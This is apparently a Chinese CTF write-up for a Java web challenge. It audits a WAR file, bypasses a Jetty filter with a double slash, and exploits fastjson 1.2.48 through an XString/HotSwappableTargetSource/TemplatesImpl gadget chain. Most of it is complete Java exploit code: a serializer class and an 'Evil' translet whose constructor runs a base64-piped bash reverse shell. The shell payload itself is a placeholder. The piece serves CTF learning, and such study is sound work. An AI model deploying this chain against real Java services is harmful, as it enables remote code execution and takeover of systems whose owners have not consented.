源码审计
下载附件得war包，bandzip解压一下，审一下源码：
这个没啥东西。
反序列化入口，但是访问这里是需要绕过的：
其实绕过也很简单，双斜杠就绕了：web.xml filter 绕过匹配访问（针对jetty）_jetty权限绕过-CSDN博客
看lib里有啥依赖：
fastjson1.2.48，这不老熟人了吗.....
EXP
fastjson最经典的部分是自动触发getter来getProperties加载字节码，如何触发getter可以通过JSON.parse触发，也可以通过toJSONString触发，很有意思的是JSON这个类的tostring就是toJSONString：
题目ban了BadAttributeValueExpException来触发tostring，用xstring来触发，复制之前的部分即可。
利用链：
readObject->hashmap.put ->xstring.tostring ->JSON.tostring ->templates.getproperties
利用xstring来触发fastjson的tostring，然后就能触发任意类的get方法，再塞一个templatesimpl的对象就可以正常反序列化这个恶意的templatesimpl了。
package com.eddiemurphy;import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import org.springframework.aop.target.HotSwappableTargetSource;import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.URLEncoder; import java.util.Base64; import java.util.HashMap;public class Exp {public static Field getField(final Class<?> clazz, final String fieldName) {Field field = null;try {field = clazz.getDeclaredField(fieldName);field.setAccessible(true);}catch (NoSuchFieldException ex) {if (clazz.getSuperclass() != null)field = getField(clazz.getSuperclass(), fieldName);}return field;}public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {final Field field = getField(obj.getClass(), fieldName);field.set(obj, value);}public static void main(String[] args) throws Exception{TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});setFieldValue(templates, "_name", "Evil");setFieldValue(templates, "_class", null);JSONObject jsonObject = new JSONObject();jsonObject.put("jb", templates);HashMap<Object, Object> s = new HashMap<>();setFieldValue(s, "size", 2);Class<?> nodeC;try {nodeC = Class.forName("java.util.HashMap$Node");}catch ( ClassNotFoundException e ) {nodeC = Class.forName("java.util.HashMap$Entry");}Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);nodeCons.setAccessible(true);Object tbl = Array.newInstance(nodeC, 2);HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));setFieldValue(s, "table", tbl);try{ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);outputStream.writeObject(s);System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));outputStream.close();}catch(Exception e){e.printStackTrace();}} }
package com.eddiemurphy;import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet {public Evil() {super();try {Runtime.getRuntime().exec("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}");}catch (Exception e){e.printStackTrace();}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
发包就完了：
找半天没找到flag，还以为在root里想suid提权，但是提不了。
最后tmp里找到了：
find / -name flag
NSSCTF{72dbe629-dca5-422e-b192-40bb6de2d72a}
参考：
西湖论剑 Writeup by or4nge (or4ngesec.github.io)
2023西湖论剑web-writeup题解wp | CTF导航 (ctfiot.com)
